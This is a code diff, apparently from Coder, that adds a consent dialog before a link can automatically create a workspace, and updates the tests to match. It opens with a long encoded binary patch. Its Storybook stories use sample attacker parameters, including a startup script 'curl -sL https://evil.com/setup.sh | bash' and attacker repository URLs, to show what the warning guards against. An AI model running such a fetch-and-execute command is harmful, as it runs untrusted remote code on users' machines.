z{qIj;2r#`p&iLK306DD_aN`F#Y zv*vhhVy2_eaq}>P!kE{*?$yjxi**@v0`{f9lmB zHA{P=4IWDTIOpQ>%X-zVr}#c8QrgjCWcNPZ3Vt+@qpq()uC}={A$th&tcqkJv#Nvj z0}SnZf4x#lw_S;8Ph-R|(Qr+gV@Wo zq!&VJUYrlP!1ghi+1w_C_*|{p7rzA&maSRjNkCJ$UG6^R*>e{!0w8B7mhC3#$f;L( z`+i_}W)mL78~I+h-`OeIWVQ(`P1mw$i)WaYX^kP}@)4odQ|dRb5dI(}(~NU-d*Hz& z^d#s$4q)$3Tim`VB@)EbByL}`lVCoA;$9c4@rY2D+V^OE-Md++a4q>M)3D1s_ov6( zVp-RCY`kpT?i4Rs_26jJm1+57S#=ck>5;S3pdLKfZ_4oMYMKr6| zx;#~{zg9o*@Uxfma^16l-WU>z)feaRJMC?d(38WlH9OBJeyiYzHs*x;Y(3H?o;|DH z*l$#e`>i^A$jwxF9z~yCaR647muS)d}y?1R~l8IzgYJ!Us)dc!Xipm_NB|x_dBXN zmy}Wi+UNx*%t^l2x7wuNHTj#(5<4U zJgDmJLqdb{z50(u1-TeLn6zDWiJN`F7P`PEI5$4ESa8s<7YAqg?=@=;KCN+AUAl`i z0N*{9B@6%c5sV{i8G4?V@s2GzMKe-kOZ5y(-x-urJ(6LTw`eHg#U-QEBtn(ZBx>OF z9bGKDv!CxN=1(f@cwOkzjTnx(GF|rM-Q2@oJwMQs+zt5Z=)T^`u#v0$1Un!1)>Ux# z`!PSxu*%%CcvqOmZsa)~EuRM&_f?OPhF4W@9sz0D&yTe(^ zK$OiO|8bB>DgI)?tYJf}UTRGMZo{UO_=p0RB4S15ni|jXJeksn(*9RaNzrR<20{Gv zN2|@CSh<_Ttootm4cefdI zd<}zr-8Kh^B_mJh6RjviHK_XZ!oY)$LMpX5e4rASKv8TfE;w>^ukTI1F^Rwbi{{pv zVu2IL8(r{_TMGki(c&h9j+}NsFs%05kH)2`S}K(zIyM2$x$Ut!M~1S525~Oh@6Qx` z_B&r~HVt4O|A`0X)}@WTM%FNP=)XgoXmtFQsCG<@PercmmAsqOdvrB$CHedzY_uAf zar8xbv;2g&&&WSm>7T#K?3A>M8mI?3^e9Jut42~aX*?IQp^jpPGRo-1%Nn?Ph_XyB|3`=gEDb(OTo~xLjek@-f{rZp?NIGluHD z?YZWcIx84DC%rdIOW#Y(m-f%>P85Fh-T30NKg^J{Huvi~3?5?LLXGa}U4$i%dIy(?I0~}FMpg}S@nO>P?CMdSE5>iKV zHEr2t8tMscN(slnEk&xHs&1rGJhj7PGrITILiSa6Zx1waX+MVUY>PJTBi17)RwXKW zH9R>cA4#_G&#!8^ozvNt#^ac~w=Iw3oj@~0m8OST;BTy*Te?&b^H}48W;flER7+n) zN%aF375R8xeURF$i|1CkcGx_xcp8D#I5D~WPYA@C)>z;C>q?7I;(R+rhBE$K*5xiS3!l0Nu6+<@g z3dwRQ{&KE#LXU4AU$K9)z69pvIB_XcA81`oHO=m}A>UeX8PdK8$HFSZ(Po8LK(oPuM>VZGPt%TU3NoT zCWE30uXsudi8561^B??jDc3ST#^-^)6m6EZz>r5oLL!zD>xUmcw;VkRK}>N=aT`15 zY?+VuW~1=@T@A|c&c+2lnnnWQ_auuMPFAIcSHsn?;i4ZJRZuF?vAy9|31GgeObI$s zou8-NO3a-IMZL^8pnNx-eX=%aIH(mocx;1Xv7M&E_fF``LRSB`ucvT0?6AL6`&7{} z#=v`7^}B;{${P?$pp96FXjjj{&`zlg5rio9fYK{SgV4< z7tm^$Mo;NJ#-(xC?`hgI@UnLsUFtU#`Ygf55uchDTNC5giBC!YLqtM2d;-(#F z6p&cH43eqouy;RFB#CmLWZ#XIOZGS?7@M6qlVT1_=S}Z9-Y+WgcTFVRrIlsP!hVrk z+%s@#OWmqb?`lTCC+|>Tu~w^2XLsF`@_V(wy8_QwLYsr9Q~1eeBn4+HSOC z|~Init~_RGcjsQYIB_TJ%`nRBY5m&ILpIo(&LDT9&x(M zqVdz@(M_;c$zjBnvCn6_`t--XkoigE zt$SVZ+-)5=&B20GotgYPfIi&;n8oGlx5Ub?)8gl%zz_AE6Ke{Sp+dwRE2F_TX-@yc zszyCStOo1RyIpMsjRsjR!(YonU`@p_^SZj7q7`5E@Tz zs#e}E?35y@dfarW#Ch>*31r_$Wld5t8`M-<^v~(3=Id~`RZ5NSJ$NRg-9RPZEfPf-`Nxdy*Frj*NC8D4E!3z-@tYohZ98QO+R}bD1G7u1fm-$Py zWDoUkSG^l1T+`vIpYVy6mCMQ~nb!+c5hqnx!ibh8ChA zS-J~!vLZna^SvhEcR!A(joNd6h2dzvp=6@0_M3HMUV zr7-5E%t!D%>T+s+Cf4Hud8~k2gBtkQfBhOEdGNvcnu2KBv+9~Vo6jAhYBy0l*2`33 zmoQ7qoRr2L-M_9{@8}IR|4$dD9QbPQtlJU(optX(v+j<|N<4pO-ERSE{ML;R=f9q1 z81X4nv^5v$!g&49#fIu~Brx7`f{FfrTZ0@p;S!^I0#W#X`-QKhQ|;PI{_|NX6D(X( zwkHtwLU$MvgE<3u=bh`kHgej-*-{^X0V;R`0D?DD1Rhri$jRda@akRM0R_Ku>%;16 zFphmfyDpxLly^AIb$`y&-pqwKCd7NN;qr8;JRg6YLu6QCle7=$U9CTqWat_=(C9 zrEMn8GLXn$A`eJRdk{(6{aHo9q8ILaKVNnLz(R8O>ep{mEs^cuwwzhuc(o<%xJnNw z+AfOK_1y2rhJ5yn*#8Rc3xP8mX)h@`AhtJrsLU!BxzWnpai74M6CK!ae7M_%P2X`W z{v9F!%3hc9qMa$K=x!lTR6i(*ZhpIN`xZE?c%PH~rcrmZ*{HEs{)fvW724Pf%8rdB z@_JRS6Jw1aZ0JSsA=(&Y>9`zcF7_celT5)PP*Lw12hR}g4NZV*MVEe3ViR2D@t|P5 z{joQcjPo0d)*1<}{6qiUasRmcf4g-N@Yi)9XOpcUpYjqXXu5%LCENtQC_Y)pGrlKX zG64!QI%9Qn0B76*`bUc;5+4p`wvD9;Kps*)$&|1&o0V+{j~WN`+3GZ&I#a!0_C^9bz>BvGp`*?&{K@<3f|*75Kg_}8YQ;^5b`>s;|j zKd=BU^{5BlhXc5J_!sD_!Zk_CN!rzxSqz+`Bg6nQA)W6-VGG{Eie>~X) zN<)D9WUFs60Xn$!pk>T#3Y#;7Lw7w!tz8#)Qacs}D*%by)JU_i(LYC8eavHR!vl=z zBcT2*+j^S?H``C+U`<1o!YXW%?Clbktyx%5vX!S()(YHlUuNdxVlJ?P^kovAC~mv9 zu_mE;F4KjQ0uYnLqsd}zsWiue(CL8k` zoiPeHbM`RjZQ9}+0iFK2tMjOyCb1JmsDyGD0?8Uwakl?4h_uPFscFb*V7gI(oWDJ|c zkIr=hOv*FFyNIUU;+ z2RRLVXOu`SLz`hnTdp9pg5!9stKzs9y=NPCe)ti*=&c3$Lp!|iX7~1|R2?D6A`YH< z7fubiy{3`}^o@#*<1h&#A*`;x;)XZ_c^`P0;R(DMUW|GUEtzpa2I_UYj}?M^C8mX9F#?5R@?aiw?=aM<-f`WWimbiib0=cDNtFg@*(D`P z5PS20Cqwl8B067VXRy%FHsgcTeve)<+72?0Sf208BEwmSjsP5BQVwtw@H$$j>{LhF z7mKdGSucM&esOxzx|z@!Vm{D;AMpTz413fyFlCdWh#HkW0j34&8MGS?t)sxjhOF!Z z0qD}g0&TyUER&J~GDZCyN4?&zPd2%08}F+pPk2|1QaH93?cBT6<#Ym4pF4(6k)L9+ zLj)-2lc5o#WM7@PKrR*AN8It~g8bG1`{pp}6>`M-U33AW-B?tn+AbMFZV}ycW~C-& z7gTXmS~6!KqCgj|QB4X^y~?jWX)I17@<|aRmQxtN{P)I;_W7da1iyn(%sb`s*1!#^ zUGbhd?}xxdNCw0v^Z?B?SZGU1)mg8g{EOw+{Wtgi}_7#789j zzh2QAT~*DSo?-auHPsxB$}bF4wY=+OzM7|^Uw!X#)d{ffPQF!9{tysjfAu=fZocls z(&!obs0ru6F_fj9!d(0szIMPAk5-|9w`;5JQW|>G-CMiTxj_BMKxU4!Ym0L>v9H^H z@Qyb9)YCbF;)t!Kp*E>`et79d5v(-mt^*_P_Y>|bLypB`Ru9z<5HDLrr)%al&ORF9 znb8Su|4nx~t~fvw=8S~ZbaxT(%yFx{rN!31WWpNMgsSE_N;a`p9)>k6M)tl%8_qh{t?nMwunMzgIOSRu+32P9whDYL3ULKP$f!E0COL0e0&} ztWCd5cNtY{v;=8qSHwLh3`TK02eYV+8mIXP7Uic0^9)TWM>AFbHP4;5 zZ5=&_)eAYM8qaNJdJn-AGU|0lThq8U{Q5}UVN82O?CG;u)1l(iOhj;eZ=O<`uQ1cd zej>)zc&~AcO7Gu;a3SW|jENM^ybS}7A@tVhbV#L;jbi*MQ37YTd@_L@lf_H@?dDE; zmQjpK$MxYJ#i|)@K@%3{} z3ecwa=#Ze5C78oW&MK{?GrP^1)?lU$(d#TdDvt>ZCC>Pen_OFE**oRq68=0`PYvOA z*9VyQ2USsz_t7WGd--lQ*MFaPd+$Gl-9FCGHHwN&+o zPhB-ap-8Icn@w`9OGpVfH}GUip80D2v@ufg-lNq;j@O+|4Qey!e*3%C*O}}7Z<;P&Lc5+cxmY72$F6ylBrz7M^$%mc>7+p zuNK~{?~JSF>!|Nv2wYurCxkZJ`(noA7QeaqwrSqH4avsw63cWtl~WP2PYylXI$t6O z@?WD}hAwr3sxzS8E46Vfd`Wy6xs_zs5NLDeqHO>tdk4t*P#tOEBRXGRgyaS5d8=lt z(C12RJH=ES?=Vl!Fi9)-(p*peHKpHWdjdz>YOM9-{@>9dh|ts%&L@B%6gpHOnZdXdCa9O3 znMd#>`w>|2H=RKDTA7)bPX7*R06D#1wG~PqR7No(1N0p`%3N^fb#LsN4_dPI5-AE! z4@0YJXO|vyA!HTj)nDd4kdP;*BPi148xTmlb9&Z<7#SoVg>tk5ZY{ zaj24fBRMLDdH#meNB4vIEM-%U@W)vqEfJaNT}q>}`^{?FXm5bOWru;s%h9X9%eD+( zkpSFim6L+*jW!3-K1nKCZ23-ctEiZ#M9#MA@Sf^BR!$C?eT##bw%BS zU!L}*TqPP~c&8E(omTW*9o8E&PVR$yKD;(ZBL=!OeMdL*bIRQ}h06s^j+G;a?|}^? zA}D2{+2a-}Z@&@Yl&v68pY<}}R(%D=3V?EeclF9pp>h>aWzLb9f}xdlxEy+ zX=E*YsU=qAYO8aRik*p*seVReo}EDy6}H64+1i(o9`)p;XhZe^KeKkRS`5p!H}&fE z``QW)R1-uGqf5LdurSbg!hdw@HL@U3Uq#)Zk0$q}#K6GsmVO|r_9wz7QpW((b2R}2 z;}6h{D$Es~>NQrCKK0j`_ODAe@1nO{Zz7DpRmU4_P#xFkx<*m_Ssm{u!x~a&i-`f> z^gmY?8Arbhu8W}&f23rIz^wxovMY~)@z+is@~n=dkiCZ}f|knEh?G4~znaH@xbr?0 zJ(jr@;`3W8BGI&#GWGkPe_!^YBGGp+n;J57Nzl&)ufXR)R(*c`ogF16f?7mZ7U!E@ z!UbIUf_!q^ze-8Z_)oCz{651#xn7eM9AUOW%8bSy9xZ(@`hWk&&>JIYbVnWz-ts-~ z8h4!R9lTGB=roLOxvV$vPO$L6sz7VN1@|h6)&H#@b-|PU%!|aG@v7<0-#1Hzjdikb zR+2wAq}+y#Ml(6Fh7ZHz}gc#esEQf5T*v9)~y;*3~vCPv%X-*CrIbc5Gu z1_FW<_wLe&QBgie7okw$B)|c@F}QVKP$3olnr!M9=8-CA%AAj%c&Z!Ol>6q_??D#1 zi-V47q^r#0oES|Rw8@&Yo}ipyB3d+n7t|OHfax6>iT={l!z6doDl!V#-)P&npM1{= z)`{r$c<%aZ_!yT}WHIpME!`u?e?Q8lMl8CIvufrO!Ru3dD7t4eJk(rGyyEcmMSftt zy-&nv#PR1t$H4Lh^*s@>cJCkIh42APn0Wtu_J7Yfgt5a34coUty6Vq0Hrl8MuG0c|JH&Gf_(x7dI(=&58Hb((af-q4^$c zQySSr3>OMA{)PlHSjoVLr7ye?sZ%%icl`3AUJfu-z;YXX(`0l0_$K=?&y3|-;v@KR zK3`!}DmI??x_jTEV#s>62HqM7uq;MhtQ@lJOjz>I*Zk#-*#t5y3;S3@tz0S8#2@)+*uu7%!Q&o~C}ES*P?>lCCOW#?qcb$)8{I z`3EdI*_Bb`7XTQAf>{E^h)8rp6^T3TaozdOaIps(pz?K8*sI$Xrd3yK1xL>@ z-u=(Q{Ys9?dF2r!XE;vQf_a^WIhHc2-bbiQ8!`y~cy?zlU`bF-R41B*ZRc^3$?~6< zNbvt-mh5<7YMJ)xHZpR>xut(MZuks=L;v3HL>jP^j0q*8dtWhfU9p!bYSAiUamG9M zp#7EKA5YOe@skhHX&ieALk?lUEvD_)=i+)qPIW`cuo;+cEBtrg^b-9cj4e?SOjwe| z47Zs^zE_xbGWhIN)qzmPSL%OUkmC_$eRyro9+=7s6v&;*d+e$IdtVq>Di5BSB&cFV z82{&9f1~VMu { waitUntil: "domcontentloaded", }, ); + await page.getByRole("button", { name: /confirm and create/i }).click(); await expect(page).toHaveTitle(`${users.member.username}/${name} - Coder`); }); @@ -53,6 +54,7 @@ test("use an existing workspace that matches the `match` parameter instead of cr waitUntil: "domcontentloaded", }, ); + await page.getByRole("button", { name: /confirm and create/i }).click(); await expect(page).toHaveTitle( `${users.member.username}/${prevWorkspace} - Coder`, ); @@ -66,5 +68,6 @@ test("show error if `match` parameter is invalid", async ({ page }) => { waitUntil: "domcontentloaded", }, ); + await page.getByRole("button", { name: /confirm and create/i }).click(); await expect(page.getByText("Invalid match value")).toBeVisible(); }); diff --git a/site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.stories.tsx b/site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.stories.tsx new file mode 100644 index 0000000000..842d25aee0 --- /dev/null +++ b/site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.stories.tsx @@ -0,0 +1,84 @@ +import type { Meta, StoryObj } from "@storybook/react-vite"; +import { fn } from "storybook/test"; +import { AutoCreateConsentDialog } from "./AutoCreateConsentDialog"; + +const meta: Meta = { + title: "pages/CreateWorkspacePage/AutoCreateConsentDialog", + component: AutoCreateConsentDialog, + args: { + open: true, + onConfirm: fn(), + onDeny: fn(), + }, +}; + +export default meta; +type Story = StoryObj; + +export const Default: Story = { + args: { + autofillParameters: [ + { + name: "dotfiles_uri", + value: "https://github.com/attacker/dots.git", + source: "url", + }, + { + name: "git_repo", + value: "https://github.com/attacker/malware-repo.git", + source: "url", + }, + ], + }, +}; + +export const WithManyParameters: Story = { + args: { + autofillParameters: [ + { + name: "dotfiles_uri", + value: "https://github.com/attacker/dots.git", + source: "url", + }, + { + name: "git_repo", + value: "https://github.com/attacker/malware-repo.git", + source: "url", + }, + { name: "region", value: "us-east-1", source: "url" }, + { name: "instance_type", value: "t3.2xlarge", source: "url" }, + { name: "docker_image", value: "ubuntu:24.04", source: "url" }, + { + name: "startup_script", + value: "curl -sL https://evil.com/setup.sh | bash", + source: "url", + }, + { name: "env_vars", value: "SECRET=hunter2,TOKEN=abc123", source: "url" }, + ], + }, +}; + +export const WithLongValues: Story = { + args: { + autofillParameters: [ + { + name: "dotfiles_uri", + value: + "https://evil.com/doasdasdjkhdasjkhasdjkhasdjkhasdjkhasdjkhdashjkasdt", + source: "url", + }, + { + name: "git_repo", + value: + "https://evil.com/repoasddsaczxjkasdjkalsdhjkasjhsadhjksdajhkdas", + source: "url", + }, + ], + }, +}; + +export const NoParameters: Story = { + args: { + autofillParameters: [], + }, +}; diff --git a/site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.tsx b/site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.tsx new file mode 100644 index 0000000000..b6b13a9dca --- /dev/null +++ b/site/src/pages/CreateWorkspacePage/AutoCreateConsentDialog.tsx @@ -0,0 +1,70 @@ +import { Button } from "components/Button/Button"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, +} from "components/Dialog/Dialog"; +import { TriangleAlertIcon } from "lucide-react"; +import type { FC } from "react"; +import type { AutofillBuildParameter } from "utils/richParameters"; + +interface AutoCreateConsentDialogProps { + open: boolean; + autofillParameters: AutofillBuildParameter[]; + onConfirm: () => void; + onDeny: () => void; +} + +export const AutoCreateConsentDialog: FC = ({ + open, + autofillParameters, + onConfirm, + onDeny, +}) => { + return ( + + e.preventDefault()} + onEscapeKeyDown={(e) => e.preventDefault()} + className="max-w-2xl overflow-hidden min-w-0" + > + + + + Warning: Automatic Workspace Creation + + + A link is attempting to automatically create a workspace using the + following external configurations. Running scripts from untrusted + sources can be dangerous. + + + + {autofillParameters.length > 0 && ( +
+ + Parameters: + + + {autofillParameters + .map((p) => `${p.name}: ${p.value}`) + .join("\n")} + +
+ )} + + + + + +
+
+ ); +}; diff --git a/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.jest.tsx b/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.jest.tsx index 40f0ce805c..dfa85fdaed 100644 --- a/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.jest.tsx +++ b/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.jest.tsx @@ -475,6 +475,12 @@ describe("CreateWorkspacePage", () => { `/templates/${MockTemplate.name}/workspace?mode=auto`, ); + // Consent dialog appears for mode=auto — confirm to proceed. + const confirmButton = await screen.findByRole("button", { + name: /confirm and create/i, + }); + await userEvent.click(confirmButton); + await waitForLoaderToBeRemoved(); expect(screen.getByText(/instance type/i)).toBeInTheDocument(); diff --git a/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.tsx b/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.tsx index 38149416bb..b3fbb46b6c 100644 --- a/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.tsx +++ b/site/src/pages/CreateWorkspacePage/CreateWorkspacePage.tsx @@ -31,6 +31,7 @@ import { useMutation, useQuery, useQueryClient } from "react-query"; import { useNavigate, useParams, useSearchParams } from "react-router"; import { pageTitle } from "utils/page"; import type { AutofillBuildParameter } from "utils/richParameters"; +import { AutoCreateConsentDialog } from "./AutoCreateConsentDialog"; import { CreateWorkspacePageView } from "./CreateWorkspacePageView"; import { type CreateWorkspacePermissions, @@ -59,6 +60,7 @@ const CreateWorkspacePage: FC = () => { const defaultName = searchParams.get("name"); const disabledParams = searchParams.get("disable_params")?.split(","); const [mode, setMode] = useState(() => getWorkspaceMode(searchParams)); + const [autoCreateConsented, setAutoCreateConsented] = useState(false); const [autoCreateError, setAutoCreateError] = useState(null); const defaultOwner = me; @@ -240,7 +242,11 @@ const CreateWorkspacePage: FC = () => { externalAuth?.every((auth) => auth.optional || auth.authenticated), ); - let autoCreateReady = mode === "auto" && hasAllRequiredExternalAuth; + let autoCreateReady = + mode === "auto" && hasAllRequiredExternalAuth && autoCreateConsented; + + const showAutoCreateConsent = + mode === "auto" && !autoCreateConsented && !autoCreateError; // `mode=auto` was set, but a prerequisite has failed, and so auto-mode should be abandoned. if ( @@ -291,6 +297,13 @@ const CreateWorkspacePage: FC = () => { <> {pageTitle(title)} + setAutoCreateConsented(true)} + onDeny={() => setMode("form")} + /> + {shouldShowLoader ? ( ) : (